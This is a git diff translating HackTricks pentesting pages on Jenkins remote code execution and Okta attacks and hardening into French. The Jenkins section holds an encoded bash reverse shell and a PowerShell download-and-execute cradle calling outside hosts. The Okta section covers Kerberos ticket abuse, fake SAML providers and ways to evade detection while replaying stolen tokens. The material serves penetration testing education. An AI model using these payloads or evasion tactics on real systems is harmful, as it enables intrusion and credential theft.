+1. Si le bouton **Build now** n'apparaît pas, vous pouvez toujours aller à **configure** --> **Build Triggers** --> `Build periodically` et définir un cron de `* * * * *`
+2. Au lieu d'utiliser cron, vous pouvez utiliser la configuration "**Trigger builds remotely**" où vous devez simplement définir le nom du token API pour déclencher le job. Ensuite, allez dans votre profil utilisateur et **générez un token API** (appelez ce token API comme vous avez appelé le token API pour déclencher le job). Enfin, déclenchez le job avec : **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
 
 ![](<../../images/image (165).png>)
 
 ## Modifying a Project
 
-Go to the projects and check **if you can configure any** of them (look for the "Configure button"):
+Allez dans les projets et vérifiez **si vous pouvez configurer l'un d'eux** (cherchez le "bouton Configurer") :
 
 ![](<../../images/image (265).png>)
 
-If you **cannot** see any **configuration** **button** then you **cannot** **configure** it probably (but check all projects as you might be able to configure some of them and not others).
+Si vous **ne pouvez pas** voir de **bouton de configuration**, alors vous **ne pouvez probablement pas** **le configurer** (mais vérifiez tous les projets car vous pourriez être en mesure de configurer certains d'entre eux et pas d'autres).
 
-Or **try to access to the path** `/job/<proj-name>/configure` or `/me/my-views/view/all/job/<proj-name>/configure` \_\_ in each project (example: `/job/Project0/configure` or `/me/my-views/view/all/job/Project0/configure`).
+Ou **essayez d'accéder au chemin** `/job/<proj-name>/configure` ou `/me/my-views/view/all/job/<proj-name>/configure` \_\_ dans chaque projet (exemple : `/job/Project0/configure` ou `/me/my-views/view/all/job/Project0/configure`).
 
 ## Execution
 
-If you are allowed to configure the project you can **make it execute commands when a build is successful**:
+Si vous êtes autorisé à configurer le projet, vous pouvez **le faire exécuter des commandes lorsque la construction est réussie** :
 
 ![](<../../images/image (98).png>)
 
-Click on **Save** and **build** the project and your **command will be executed**.\
-If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**.
+Cliquez sur **Save** et **build** le projet et votre **commande sera exécutée**.\
+Si vous n'exécutez pas un reverse shell mais une simple commande, vous pouvez **voir la sortie de la commande dans la sortie de la construction**.
 
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
index 33821cc03..76fd717d1 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
@@ -1,27 +1,24 @@
-# Jenkins RCE with Groovy Script
+# Jenkins RCE avec un script Groovy
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Jenkins RCE with Groovy Script
+## Jenkins RCE avec un script Groovy
 
-This is less noisy than creating a new project in Jenkins
-
-1. Go to _path_jenkins/script_
-2. Inside the text box introduce the script
+C'est moins bruyant que de créer un nouveau projet dans Jenkins
 
+1. Allez à _path_jenkins/script_
+2. Dans la zone de texte, introduisez le script
 ```python
 def process = "PowerShell.exe <WHATEVER>".execute()
 println "Found text ${process.text}"
 ```
+Vous pouvez exécuter une commande en utilisant : `cmd.exe /c dir`
 
-You could execute a command using: `cmd.exe /c dir`
+Dans **linux**, vous pouvez faire : **`"ls /".execute().text`**
 
-In **linux** you can do: **`"ls /".execute().text`**
-
-If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload.
-
-**Another useful groovy script** is (replace \[INSERT COMMAND]):
+Si vous devez utiliser _quotes_ et _single quotes_ à l'intérieur du texte. Vous pouvez utiliser _"""PAYLOAD"""_ (triple guillemets doubles) pour exécuter le payload.
 
+**Un autre script groovy utile** est (remplacez \[INSERT COMMAND]) :
 ```python
 def sout = new StringBuffer(), serr = new StringBuffer()
 def proc = '[INSERT COMMAND]'.execute()
@@ -29,9 +26,7 @@ proc.consumeProcessOutput(sout, serr)
 proc.waitForOrKill(1000)
 println "out> $sout err> $serr"
 ```
-
-### Reverse shell in linux
-
+### Shell inversée sous Linux
 ```python
 def sout = new StringBuffer(), serr = new StringBuffer()
 def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
@@ -39,29 +34,20 @@ proc.consumeProcessOutput(sout, serr)
 proc.waitForOrKill(1000)
 println "out> $sout err> $serr"
 ```
+### Reverse shell dans Windows
 
-### Reverse shell in windows
-
-You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it:
-
+Vous pouvez préparer un serveur HTTP avec un PS reverse shell et utiliser Jeking pour le télécharger et l'exécuter :
 ```python
 scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
 echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
 cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>
 ```
-
 ### Script
 
-You can automate this process with [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
-
-You can use MSF to get a reverse shell:
+Vous pouvez automatiser ce processus avec [**ce script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
 
+Vous pouvez utiliser MSF pour obtenir un shell inversé :
 ```
 msf> use exploit/multi/http/jenkins_script_console
 ```
-
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md
index e682996c2..77b388fb2 100644
--- a/src/pentesting-ci-cd/okta-security/README.md
+++ b/src/pentesting-ci-cd/okta-security/README.md
@@ -4,103 +4,103 @@
 
 ## Basic Information
 
-[Okta, Inc.](https://www.okta.com/) is recognized in the identity and access management sector for its cloud-based software solutions. These solutions are designed to streamline and secure user authentication across various modern applications. They cater not only to companies aiming to safeguard their sensitive data but also to developers interested in integrating identity controls into applications, web services, and devices.
+[Okta, Inc.](https://www.okta.com/) est reconnu dans le secteur de la gestion des identités et des accès pour ses solutions logicielles basées sur le cloud. Ces solutions sont conçues pour rationaliser et sécuriser l'authentification des utilisateurs à travers diverses applications modernes. Elles s'adressent non seulement aux entreprises cherchant à protéger leurs données sensibles, mais aussi aux développeurs intéressés par l'intégration de contrôles d'identité dans des applications, des services web et des dispositifs.
 
-The flagship offering from Okta is the **Okta Identity Cloud**. This platform encompasses a suite of products, including but not limited to:
+L'offre phare d'Okta est le **Okta Identity Cloud**. Cette plateforme englobe une suite de produits, y compris mais sans s'y limiter :
 
-- **Single Sign-On (SSO)**: Simplifies user access by allowing one set of login credentials across multiple applications.
-- **Multi-Factor Authentication (MFA)**: Enhances security by requiring multiple forms of verification.
-- **Lifecycle Management**: Automates user account creation, update, and deactivation processes.
-- **Universal Directory**: Enables centralized management of users, groups, and devices.
-- **API Access Management**: Secures and manages access to APIs.
+- **Single Sign-On (SSO)** : Simplifie l'accès des utilisateurs en permettant un ensemble de identifiants de connexion à travers plusieurs applications.
+- **Multi-Factor Authentication (MFA)** : Renforce la sécurité en exigeant plusieurs formes de vérification.
+- **Lifecycle Management** : Automatise la création, la mise à jour et la désactivation des comptes utilisateurs.
+- **Universal Directory** : Permet la gestion centralisée des utilisateurs, des groupes et des dispositifs.
+- **API Access Management** : Sécurise et gère l'accès aux API.
 
-These services collectively aim to fortify data protection and streamline user access, enhancing both security and convenience. The versatility of Okta's solutions makes them a popular choice across various industries, beneficial to large enterprises, small companies, and individual developers alike. As of the last update in September 2021, Okta is acknowledged as a prominent entity in the Identity and Access Management (IAM) arena.
+Ces services visent collectivement à renforcer la protection des données et à rationaliser l'accès des utilisateurs, améliorant à la fois la sécurité et la commodité. La polyvalence des solutions d'Okta en fait un choix populaire dans divers secteurs, bénéfique pour les grandes entreprises, les petites sociétés et les développeurs individuels. À la dernière mise à jour en septembre 2021, Okta est reconnu comme une entité de premier plan dans le domaine de la gestion des identités et des accès (IAM).
 
 > [!CAUTION]
-> The main gola of Okta is to configure access to different users and groups to external applications. If you manage to **compromise administrator privileges in an Oktas** environment, you will highly probably able to **compromise all the other platforms the company is using**.
+> Le principal objectif d'Okta est de configurer l'accès à différentes applications externes pour différents utilisateurs et groupes. Si vous parvenez à **compromettre les privilèges d'administrateur dans un environnement Okta**, vous serez très probablement capable de **compromettre toutes les autres plateformes utilisées par l'entreprise**.
 
 > [!TIP]
-> To perform a security review of an Okta environment you should ask for **administrator read-only access**.
+> Pour effectuer un examen de sécurité d'un environnement Okta, vous devriez demander un **accès en lecture seule d'administrateur**.
 
 ### Summary
 
-There are **users** (which can be **stored in Okta,** logged from configured **Identity Providers** or authenticated via **Active Directory** or LDAP).\
-These users can be inside **groups**.\
-There are also **authenticators**: different options to authenticate like password, and several 2FA like WebAuthn, email, phone, okta verify (they could be enabled or disabled)...
+Il y a des **utilisateurs** (qui peuvent être **stockés dans Okta,** connectés depuis des **fournisseurs d'identité** configurés ou authentifiés via **Active Directory** ou LDAP).\
+Ces utilisateurs peuvent être dans des **groupes**.\
+Il y a aussi des **authentificateurs** : différentes options pour s'authentifier comme le mot de passe, et plusieurs 2FA comme WebAuthn, email, téléphone, okta verify (ils peuvent être activés ou désactivés)...
 
-Then, there are **applications** synchronized with Okta. Each applications will have some **mapping with Okta** to share information (such as email addresses, first names...). Moreover, each application must be inside an **Authentication Policy**, which indicates the **needed authenticators** for a user to **access** the application.
+Ensuite, il y a des **applications** synchronisées avec Okta. Chaque application aura un certain **mapping avec Okta** pour partager des informations (comme les adresses email, les prénoms...). De plus, chaque application doit être dans une **politique d'authentification**, qui indique les **authentificateurs nécessaires** pour qu'un utilisateur **accède** à l'application.
 
 > [!CAUTION]
-> The most powerful role is **Super Administrator**.
+> Le rôle le plus puissant est **Super Administrator**.
 >
-> If an attacker compromise Okta with Administrator access, all the **apps trusting Okta** will be highly probably **compromised**.
+> Si un attaquant compromet Okta avec un accès Administrateur, toutes les **applications faisant confiance à Okta** seront très probablement **compromises**.
 
 ## Attacks
 
 ### Locating Okta Portal
 
-Usually the portal of a company will be located in **companyname.okta.com**. If not, try simple **variations** of **companyname.** If you cannot find it, it's also possible that the organization has a **CNAME** record like **`okta.companyname.com`** pointing to the **Okta portal**.
+Généralement, le portail d'une entreprise sera situé à **companyname.okta.com**. Si ce n'est pas le cas, essayez de simples **variations** de **companyname.** Si vous ne pouvez pas le trouver, il est également possible que l'organisation ait un enregistrement **CNAME** comme **`okta.companyname.com`** pointant vers le **portail Okta**.
 
 ### Login in Okta via Kerberos
 
-If **`companyname.kerberos.okta.com`** is active, **Kerberos is used for Okta access**, typically bypassing **MFA** for **Windows** users. To find Kerberos-authenticated Okta users in AD, run **`getST.py`** with **appropriate parameters**. Upon obtaining an **AD user ticket**, **inject** it into a controlled host using tools like Rubeus or Mimikatz, ensuring **`clientname.kerberos.okta.com` is in the Internet Options "Intranet" zone**. Accessing a specific URL should return a JSON "OK" response, indicating Kerberos ticket acceptance, and granting access to the Okta dashboard.
+Si **`companyname.kerberos.okta.com`** est actif, **Kerberos est utilisé pour l'accès à Okta**, contournant généralement **MFA** pour les utilisateurs **Windows**. Pour trouver les utilisateurs Okta authentifiés par Kerberos dans AD, exécutez **`getST.py`** avec **les paramètres appropriés**. Après avoir obtenu un **ticket utilisateur AD**, **injectez-le** dans un hôte contrôlé en utilisant des outils comme Rubeus ou Mimikatz, en vous assurant que **`clientname.kerberos.okta.com` est dans la zone "Intranet" des Options Internet**. Accéder à une URL spécifique devrait renvoyer une réponse JSON "OK", indiquant l'acceptation du ticket Kerberos, et accordant l'accès au tableau de bord Okta.
 
-Compromising the **Okta service account with the delegation SPN enables a Silver Ticket attack.** However, Okta's use of **AES** for ticket encryption requires possessing the AES key or plaintext password. Use **`ticketer.py` to generate a ticket for the victim user** and deliver it via the browser to authenticate with Okta.
+Compromettre le **compte de service Okta avec le SPN de délégation permet une attaque Silver Ticket.** Cependant, l'utilisation par Okta de **AES** pour le chiffrement des tickets nécessite de posséder la clé AES ou le mot de passe en clair. Utilisez **`ticketer.py` pour générer un ticket pour l'utilisateur victime** et livrez-le via le navigateur pour s'authentifier avec Okta.
 
-**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
+**Vérifiez l'attaque dans** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
 
 ### Hijacking Okta AD Agent
 
-This technique involves **accessing the Okta AD Agent on a server**, which **syncs users and handles authentication**. By examining and decrypting configurations in **`OktaAgentService.exe.config`**, notably the AgentToken using **DPAPI**, an attacker can potentially **intercept and manipulate authentication data**. This allows not only **monitoring** and **capturing user credentials** in plaintext during the Okta authentication process but also **responding to authentication attempts**, thereby enabling unauthorized access or providing universal authentication through Okta (akin to a 'skeleton key').
+Cette technique implique **d'accéder à l'Okta AD Agent sur un serveur**, qui **synchronise les utilisateurs et gère l'authentification**. En examinant et en déchiffrant les configurations dans **`OktaAgentService.exe.config`**, notamment le AgentToken en utilisant **DPAPI**, un attaquant peut potentiellement **intercepter et manipuler les données d'authentification**. Cela permet non seulement de **surveiller** et de **capturer les identifiants des utilisateurs** en clair pendant le processus d'authentification Okta, mais aussi de **répondre aux tentatives d'authentification**, permettant ainsi un accès non autorisé ou fournissant une authentification universelle via Okta (semblable à une 'clé maîtresse').
 
-**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
+**Vérifiez l'attaque dans** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
 
 ### Hijacking AD As an Admin
 
-This technique involves hijacking an Okta AD Agent by first obtaining an OAuth Code, then requesting an API token. The token is associated with an AD domain, and a **connector is named to establish a fake AD agent**. Initialization allows the agent to **process authentication attempts**, capturing credentials via the Okta API. Automation tools are available to streamline this process, offering a seamless method to intercept and handle authentication data within the Okta environment.
+Cette technique implique de détourner un Okta AD Agent en obtenant d'abord un code OAuth, puis en demandant un jeton API. Le jeton est associé à un domaine AD, et un **connecteur est nommé pour établir un faux agent AD**. L'initialisation permet à l'agent de **traiter les tentatives d'authentification**, capturant les identifiants via l'API Okta. Des outils d'automatisation sont disponibles pour rationaliser ce processus, offrant une méthode fluide pour intercepter et gérer les données d'authentification dans l'environnement Okta.
 
-**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
+**Vérifiez l'attaque dans** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
 
 ### Okta Fake SAML Provider
 
-**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
+**Vérifiez l'attaque dans** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
 
-The technique involves **deploying a fake SAML provider**. By integrating an external Identity Provider (IdP) within Okta's framework using a privileged account, attackers can **control the IdP, approving any authentication request at will**. The process entails setting up a SAML 2.0 IdP in Okta, manipulating the IdP Single Sign-On URL for redirection via local hosts file, generating a self-signed certificate, and configuring Okta settings to match against the username or email. Successfully executing these steps allows for authentication as any Okta user, bypassing the need for individual user credentials, significantly elevating access control in a potentially unnoticed manner.
+La technique implique **le déploiement d'un fournisseur SAML factice**. En intégrant un fournisseur d'identité externe (IdP) dans le cadre d'Okta en utilisant un compte privilégié, les attaquants peuvent **contrôler l'IdP, approuvant toute demande d'authentification à volonté**. Le processus consiste à configurer un IdP SAML 2.0 dans Okta, à manipuler l'URL de connexion unique de l'IdP pour la redirection via le fichier hosts local, à générer un certificat auto-signé et à configurer les paramètres Okta pour correspondre au nom d'utilisateur ou à l'email. L'exécution réussie de ces étapes permet de s'authentifier en tant que n'importe quel utilisateur Okta, contournant le besoin d'identifiants d'utilisateur individuels, élevant considérablement le contrôle d'accès de manière potentiellement inaperçue.
 
 ### Phishing Okta Portal with Evilgnix
 
-In [**this blog post**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) is explained how to prepare a phishing campaign against an Okta portal.
+Dans [**cet article de blog**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23), il est expliqué comment préparer une campagne de phishing contre un portail Okta.
 
 ### Colleague Impersonation Attack
 
-The **attributes that each user can have and modify** (like email or first name) can be configured in Okta. If an **application** is **trusting** as ID an **attribute** that the user can **modify**, he will be able to **impersonate other users in that platform**.
+Les **attributs que chaque utilisateur peut avoir et modifier** (comme l'email ou le prénom) peuvent être configurés dans Okta. Si une **application** fait **confiance** à un **attribut** que l'utilisateur peut **modifier**, il pourra **imiter d'autres utilisateurs sur cette plateforme**.
 
-Therefore, if the app is trusting the field **`userName`**, you probably won't be able to change it (because you usually cannot change that field), but if it's trusting for example **`primaryEmail`** you might be able to **change it to a colleagues email address** and impersonate it (you will need to have access to the email and accept the change).
+Par conséquent, si l'application fait confiance au champ **`userName`**, vous ne pourrez probablement pas le changer (car vous ne pouvez généralement pas changer ce champ), mais s'il fait confiance par exemple à **`primaryEmail`**, vous pourriez être en mesure de **le changer pour l'adresse email d'un collègue** et de l'imiter (vous devrez avoir accès à l'email et accepter le changement).
 
-Note that this impersoantion depends on how each application was condigured. Only the ones trusting the field you modified and accepting updates will be compromised.\
-Therefore, the app should have this field enabled if it exists:
+Notez que cette imitation dépend de la façon dont chaque application a été configurée. Seules celles qui font confiance au champ que vous avez modifié et acceptent les mises à jour seront compromises.\
+Par conséquent, l'application devrait avoir ce champ activé s'il existe :
 
 <figure><img src="../../images/image (175).png" alt=""><figcaption></figcaption></figure>
 
-I have also seen other apps that were vulnerable but didn't have that field in the Okta settings (at the end different apps are configured differently).
+J'ai également vu d'autres applications qui étaient vulnérables mais qui n'avaient pas ce champ dans les paramètres Okta (à la fin, différentes applications sont configurées différemment).
 
-The best way to find out if you could impersonate anyone on each app would be to try it!
+La meilleure façon de savoir si vous pourriez imiter quelqu'un sur chaque application serait de l'essayer !
 
 ## Evading behavioural detection policies <a href="#id-9fde" id="id-9fde"></a>
 
-Behavioral detection policies in Okta might be unknown until encountered, but **bypassing** them can be achieved by **targeting Okta applications directly**, avoiding the main Okta dashboard. With an **Okta access token**, replay the token at the **application-specific Okta URL** instead of the main login page.
+Les politiques de détection comportementale dans Okta peuvent être inconnues jusqu'à ce qu'elles soient rencontrées, mais **les contourner** peut être réalisé en **ciblant directement les applications Okta**, évitant le tableau de bord principal d'Okta. Avec un **jeton d'accès Okta**, rejouez le jeton à l'**URL spécifique à l'application Okta** au lieu de la page de connexion principale.
 
-Key recommendations include:
+Les recommandations clés incluent :
 
-- **Avoid using** popular anonymizer proxies and VPN services when replaying captured access tokens.
-- Ensure **consistent user-agent strings** between the client and replayed access tokens.
-- **Refrain from replaying** tokens from different users from the same IP address.
-- Exercise caution when replaying tokens against the Okta dashboard.
-- If aware of the victim company's IP addresses, **restrict traffic** to those IPs or their range, blocking all other traffic.
+- **Évitez d'utiliser** des proxys anonymes populaires et des services VPN lors de la relecture des jetons d'accès capturés.
+- Assurez-vous que les **chaînes d'agent utilisateur** sont **cohérentes** entre le client et les jetons d'accès rejoués.
+- **Évitez de rejouer** des jetons d'utilisateurs différents depuis la même adresse IP.
+- Faites preuve de prudence lors de la relecture des jetons contre le tableau de bord Okta.
+- Si vous connaissez les adresses IP de l'entreprise victime, **limitez le trafic** à ces IP ou à leur plage, en bloquant tout autre trafic.
 
 ## Okta Hardening
 
-Okta has a lot of possible configurations, in this page you will find how to review them so they are as secure as possible:
+Okta a beaucoup de configurations possibles, sur cette page vous trouverez comment les examiner pour qu'elles soient aussi sécurisées que possible :
 
 {{#ref}}
 okta-hardening.md
@@ -112,7 +112,3 @@ okta-hardening.md
 - [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23)
 
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md
index a7dac96a7..30dfc235a 100644
--- a/src/pentesting-ci-cd/okta-security/okta-hardening.md
+++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md
@@ -6,72 +6,72 @@
 
 ### People
 
-From an attackers perspective, this is super interesting as you will be able to see **all the users registered**, their **email** addresses, the **groups** they are part of, **profiles** and even **devices** (mobiles along with their OSs).
+D'un point de vue des attaquants, c'est super intéressant car vous pourrez voir **tous les utilisateurs enregistrés**, leurs **adresses email**, les **groupes** auxquels ils appartiennent, les **profils** et même les **appareils** (mobiles ainsi que leurs systèmes d'exploitation).
 
-For a whitebox review check that there aren't several "**Pending user action**" and "**Password reset**".
+Pour une revue en boîte blanche, vérifiez qu'il n'y a pas plusieurs "**Action utilisateur en attente**" et "**Réinitialisation de mot de passe**".
 
 ### Groups
 
-This is where you find all the created groups in Okta. it's interesting to understand the different groups (set of **permissions**) that could be granted to **users**.\
-It's possible to see the **people included inside groups** and **apps assigned** to each group.
+C'est ici que vous trouverez tous les groupes créés dans Okta. Il est intéressant de comprendre les différents groupes (ensemble de **permissions**) qui pourraient être accordés aux **utilisateurs**.\
+Il est possible de voir les **personnes incluses dans les groupes** et les **applications assignées** à chaque groupe.
 
-Ofc, any group with the name of **admin** is interesting, specially the group **Global Administrators,** check the members to learn who are the most privileged members.
+Bien sûr, tout groupe avec le nom **admin** est intéressant, en particulier le groupe **Administrateurs globaux**, vérifiez les membres pour savoir qui sont les membres les plus privilégiés.
 
-From a whitebox review, there **shouldn't be more than 5 global admins** (better if there are only 2 or 3).
+D'une revue en boîte blanche, il **ne devrait pas y avoir plus de 5 administrateurs globaux** (mieux s'il n'y en a que 2 ou 3).
 
 ### Devices
 
-Find here a **list of all the devices** of all the users. You can also see if it's being **actively managed** or not.
+Trouvez ici une **liste de tous les appareils** de tous les utilisateurs. Vous pouvez également voir s'il est **activement géré** ou non.
 
 ### Profile Editor
 
-Here is possible to observe how key information such as first names, last names, emails, usernames... are shared between Okta and other applications. This is interesting because if a user can **modify in Okta a field** (such as his name or email) that then is used by an **external application** to **identify** the user, an insider could try to **take over other accounts**.
+Ici, il est possible d'observer comment des informations clés telles que les prénoms, noms, emails, noms d'utilisateur... sont partagées entre Okta et d'autres applications. C'est intéressant car si un utilisateur peut **modifier dans Okta un champ** (comme son nom ou son email) qui est ensuite utilisé par une **application externe** pour **identifier** l'utilisateur, un initié pourrait essayer de **prendre le contrôle d'autres comptes**.
 
-Moreover, in the profile **`User (default)`** from Okta you can see **which fields** each **user** has and which ones are **writable** by users. If you cannot see the admin panel, just go to **update your profile** information and you will see which fields you can update (note that to update an email address you will need to verify it).
+De plus, dans le profil **`User (default)`** d'Okta, vous pouvez voir **quels champs** chaque **utilisateur** a et lesquels sont **modifiables** par les utilisateurs. Si vous ne pouvez pas voir le panneau d'administration, allez simplement à **mettre à jour vos informations de profil** et vous verrez quels champs vous pouvez mettre à jour (notez que pour mettre à jour une adresse email, vous devrez la vérifier).
 
 ### Directory Integrations
 
-Directories allow you to import people from existing sources. I guess here you will see the users imported from other directories.
+Les annuaires vous permettent d'importer des personnes à partir de sources existantes. Je suppose qu'ici vous verrez les utilisateurs importés d'autres annuaires.
 
-I haven't seen it, but I guess this is interesting to find out **other directories that Okta is using to import users** so if you **compromise that directory** you could set some attributes values in the users created in Okta and **maybe compromise the Okta env**.
+Je ne l'ai pas vu, mais je suppose que c'est intéressant de découvrir **d'autres annuaires qu'Okta utilise pour importer des utilisateurs** afin que si vous **compromettez cet annuaire**, vous puissiez définir certaines valeurs d'attributs dans les utilisateurs créés dans Okta et **peut-être compromettre l'environnement Okta**.
 
 ### Profile Sources
 
-A profile source is an **application that acts as a source of truth** for user profile attributes. A user can only be sourced by a single application or directory at a time.
+Une source de profil est une **application qui agit comme une source de vérité** pour les attributs de profil utilisateur. Un utilisateur ne peut être source que par une seule application ou annuaire à la fois.
 
-I haven't seen it, so any information about security and hacking regarding this option is appreciated.
+Je ne l'ai pas vu, donc toute information sur la sécurité et le hacking concernant cette option est appréciée.
 
 ## Customizations
 
 ### Brands
 
-Check in the **Domains** tab of this section the email addresses used to send emails and the custom domain inside Okta of the company (which you probably already know).
+Vérifiez dans l'onglet **Domains** de cette section les adresses email utilisées pour envoyer des emails et le domaine personnalisé à l'intérieur d'Okta de l'entreprise (que vous savez probablement déjà).
 
-Moreover, in the **Setting** tab, if you are admin, you can "**Use a custom sign-out page**" and set a custom URL.
+De plus, dans l'onglet **Setting**, si vous êtes administrateur, vous pouvez "**Utiliser une page de déconnexion personnalisée**" et définir une URL personnalisée.
 
 ### SMS
 
-Nothing interesting here.
+Rien d'intéressant ici.
 
 ### End-User Dashboard
 
-You can find here applications configured, but we will see the details of those later in a different section.
+Vous pouvez trouver ici les applications configurées, mais nous verrons les détails de celles-ci plus tard dans une autre section.
 
 ### Other
 
-Interesting setting, but nothing super interesting from a security point of view.
+Paramètre intéressant, mais rien de super intéressant d'un point de vue sécurité.
 
 ## Applications
 
 ### Applications
 
-Here you can find all the **configured applications** and their details: Who has access to them, how is it configured (SAML, OPenID), URL to login, the mappings between Okta and the application...
+Ici, vous pouvez trouver toutes les **applications configurées** et leurs détails : Qui y a accès, comment elles sont configurées (SAML, OpenID), URL de connexion, les mappages entre Okta et l'application...
 
-In the **`Sign On`** tab there is also a field called **`Password reveal`** that would allow a user to **reveal his password** when checking the application settings. To check the settings of an application from the User Panel, click the 3 dots:
+Dans l'onglet **`Sign On`**, il y a aussi un champ appelé **`Password reveal`** qui permettrait à un utilisateur de **révéler son mot de passe** en vérifiant les paramètres de l'application. Pour vérifier les paramètres d'une application depuis le panneau utilisateur, cliquez sur les 3 points :
 
 <figure><img src="../../images/image (283).png" alt=""><figcaption></figcaption></figure>
 
-And you could see some more details about the app (like the password reveal feature, if it's enabled):
+Et vous pourriez voir quelques détails supplémentaires sur l'application (comme la fonction de révélation de mot de passe, si elle est activée) :
 
 <figure><img src="../../images/image (220).png" alt=""><figcaption></figcaption></figure>
 
@@ -79,125 +79,121 @@ And you could see some more details about the app (like the password reveal feat
 
 ### Access Certifications
 
-Use Access Certifications to create audit campaigns to review your users' access to resources periodically and approve or revoke access automatically when required.
+Utilisez les Access Certifications pour créer des campagnes d'audit afin de revoir périodiquement l'accès de vos utilisateurs aux ressources et d'approuver ou de révoquer l'accès automatiquement lorsque cela est nécessaire.
 
-I haven't seen it used, but I guess that from a defensive point of view it's a nice feature.
+Je ne l'ai pas vu utilisé, mais je suppose que d'un point de vue défensif, c'est une bonne fonctionnalité.
 
 ## Security
 
 ### General
 
-- **Security notification emails**: All should be enabled.
-- **CAPTCHA integration**: It's recommended to set at least the invisible reCaptcha
-- **Organization Security**: Everything can be enabled and activation emails shouldn't last long (7 days is ok)
-- **User enumeration prevention**: Both should be enabled
-  - Note that User Enumeration Prevention doesn't take effect if either of the following conditions are allowed (See [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) for more information):
-    - Self-Service Registration
-    - JIT flows with email authentication
-- **Okta ThreatInsight settings**: Log and enforce security based on threat level
+- **Emails de notification de sécurité** : Tous devraient être activés.
+- **Intégration CAPTCHA** : Il est recommandé de définir au moins le reCaptcha invisible.
+- **Sécurité de l'organisation** : Tout peut être activé et les emails d'activation ne devraient pas durer longtemps (7 jours c'est bien).
+- **Prévention de l'énumération des utilisateurs** : Les deux devraient être activés.
+- Notez que la prévention de l'énumération des utilisateurs n'est pas efficace si l'une des conditions suivantes est autorisée (voir [Gestion des utilisateurs](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) pour plus d'informations) :
+- Inscription en libre-service
+- Flux JIT avec authentification par email
+- **Paramètres Okta ThreatInsight** : Journaliser et appliquer la sécurité en fonction du niveau de menace.
 
 ### HealthInsight
 
-Here is possible to find correctly and **dangerous** configured **settings**.
+Ici, il est possible de trouver des **paramètres** configurés correctement et **dangereux**.
 
 ### Authenticators
 
-Here you can find all the authentication methods that a user could use: Password, phone, email, code, WebAuthn... Clicking in the Password authenticator you can see the **password policy**. Check that it's strong.
+Ici, vous pouvez trouver toutes les méthodes d'authentification qu'un utilisateur pourrait utiliser : Mot de passe, téléphone, email, code, WebAuthn... En cliquant sur l'authentificateur de mot de passe, vous pouvez voir la **politique de mot de passe**. Vérifiez qu'elle est forte.
 
-In the **Enrollment** tab you can see how the ones that are required or optinal:
+Dans l'onglet **Enrollment**, vous pouvez voir comment ceux qui sont requis ou optionnels :
 
 <figure><img src="../../images/image (143).png" alt=""><figcaption></figcaption></figure>
 
-It's recommendatble to disable Phone. The strongest ones are probably a combination of password, email and WebAuthn.
+Il est recommandé de désactiver le téléphone. Les plus forts sont probablement une combinaison de mot de passe, email et WebAuthn.
 
 ### Authentication policies
 
-Every app has an authentication policy. The authentication policy verifies that users who try to sign in to the app meet specific conditions, and it enforces factor requirements based on those conditions.
+Chaque application a une politique d'authentification. La politique d'authentification vérifie que les utilisateurs qui essaient de se connecter à l'application répondent à des conditions spécifiques, et elle applique des exigences de facteur en fonction de ces conditions.
 
-Here you can find the **requirements to access each application**. It's recommended to request at least password and another method for each application. But if as attacker you find something more weak you might be able to attack it.
+Ici, vous pouvez trouver les **exigences pour accéder à chaque application**. Il est recommandé de demander au moins un mot de passe et une autre méthode pour chaque application. Mais si en tant qu'attaquant vous trouvez quelque chose de plus faible, vous pourriez être en mesure de l'attaquer.
 
 ### Global Session Policy
 
-Here you can find the session policies assigned to different groups. For example:
